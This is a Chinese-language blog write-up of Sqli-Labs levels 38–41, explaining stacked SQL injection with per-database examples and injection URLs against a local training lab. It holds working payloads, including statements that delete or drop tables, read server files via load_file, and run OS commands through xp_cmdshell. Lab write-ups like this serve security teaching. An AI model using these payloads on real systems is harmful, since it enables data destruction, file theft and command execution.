Sqli-Labs:Less 38 - Less 41

Less 38

基于错误_GET_单引号_字符型_堆叠注入

从这关开始便是 Page 3 的内容了:Stack Injection(堆叠注入),从名词含义看就是多条 sql 语句一起执行。

首先我们要学习前置知识:堆叠注入的原理、局限性与各数据库的实例。

参考:《MySQL注入天书》

0x01. 原理介绍

在 SQL 中,分号;用来表示一条 SQL 语句的结束。试想我们在;结束一个 SQL 语句后继续构造下一条语句,两条语句会不会一起执行?这个想法也就造就了堆叠注入。

Union Injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别?
区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,且在 MySQL 中返回的列数需要相等;而堆叠注入可以执行的是任意的语句。

例,用户提交:

id=1;delete from users

而服务器未做检查,生成的 SQL 语句为:

select * from users where id=1;delete from users

执行后,第一条将显示查询信息,第二条将删除整个表。

0x02. 局限性

堆叠注入并不是在每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,同时权限不足也会使攻击者无法修改数据或者调用一些程序。

虽然前面提到了堆叠查询可以执行任意的 SQL 语句,但是这种注入方式并不是十分完美。在我们的 Web 系统中,代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面无法看到返回结果。

因此在读取数据时,建议使用union注入。同时在使用堆叠注入之前,我们也需要知道一些数据库相关信息如表名,列名等。

0x03. 数据库实例

下面介绍几个常用数据库的堆叠操作:基本操作与增删查改。

0x03-01. MySQL
  1. 新建表test
    select * from users where id=1;create table test like users;
  2. 删除新建表test
    select * from users where id=1;drop table test;
  3. 查询数据
    select * from users where id=1;select 1,2,3;
  4. 加载文件
    select * from users where id=1;select load_file('c:/test.php');
  5. 修改数据
    select * from users where id=1;insert into users(id,username,password) values('100','name','pswd');

load_file()函数

读取文件并返回文件内容为字符串。

要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限;该文件所有字节可读,但文件内容必须小于max_allowed_packet

如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回NULL

注意:这里还是有数据导入导出权限的问题,在 Less 7 中也遇到过。

Mysql数据库需要在指定的目录下进行数据的导出。
secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行load datainto outfile语句和load_file()函数,这些操作需要用户具有file权限。

1. 如果这个参数为空,这个变量没有效果。
2. 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它.
3. 如果这个参数为null,Mysql服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。

于是查看secure_file_priv

show variables like '%secure%'

在指定的位置导出文件:

注意:在 MySQL 中,需要注意路径转义的问题,即用/\\分隔。

参考:
windows下mysql loadfile返回NULL的解决
MySQL里设置或修改系统变量的几种方法

这里有修改系统变量的几种方法,可以考虑注入时涉及文件操作时先修改权限。

0x03-02. SQL Server
  1. 新建表
    select * from test;create table test2(ss CHAR(8));
  2. 删除新建表
    select * from test;drop table test2;
  3. 查询数据
    select * from test;select 1,2,3;
  4. 修改数据
    select * from test;update test set name='name' where id=1;
  5. SQL Server中最为重要的存储过程的执行 *有待学习
    select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
    【*有待学习】
0x03-03. Oracle

上面的图中已经提及,Oracle 不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错无效字符。

0x03-04. Postgresql
  1. 新建表
    select * from user_test;create table user_data(id DATE);
  2. 删除新建表
    select * from user_test;delete from user_data;
  3. 查询数据
    select * from user_test;select 1,2,3;
  4. 修改数据
    select * from user_test;update user_test set name='new' where name='name';

0x04. 注入过程

堆叠注入需要依靠前文所写的各种注入方式来获取数据库的信息,在这里只演示如何插入新的数据。

http://localhost:8088/sqlilabs/Less-38/?id=1';insert into users(id,username,password) values(38,'Less38','Less38')--+

Less 39

基于错误_GET_数字型_堆叠注入

类似 Less 38,Less 39 是数字型注入,没有过滤任何东西。

http://localhost:8088/sqlilabs/Less-39/?id=1;insert into users(id,username,password) values(39,'Less39','Less39')--+

Less 40

基于Bool_GET_单引号_小括号_字符型_盲注_堆叠注入

正常注入可以用脚本 Bool 盲注,堆叠注入如下:

http://localhost:8088/sqlilabs/Less-40/?id=1');insert into users values(40,'Less40','Less40')--+

Less 41

基于Bool_GET_数字型_盲注_堆叠注入

正常注入可以用脚本 Bool 盲注,堆叠注入如下:

http://localhost:8088/sqlilabs/Less-41/?id=1;insert into users values(41,'Less41','Less41')--+

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342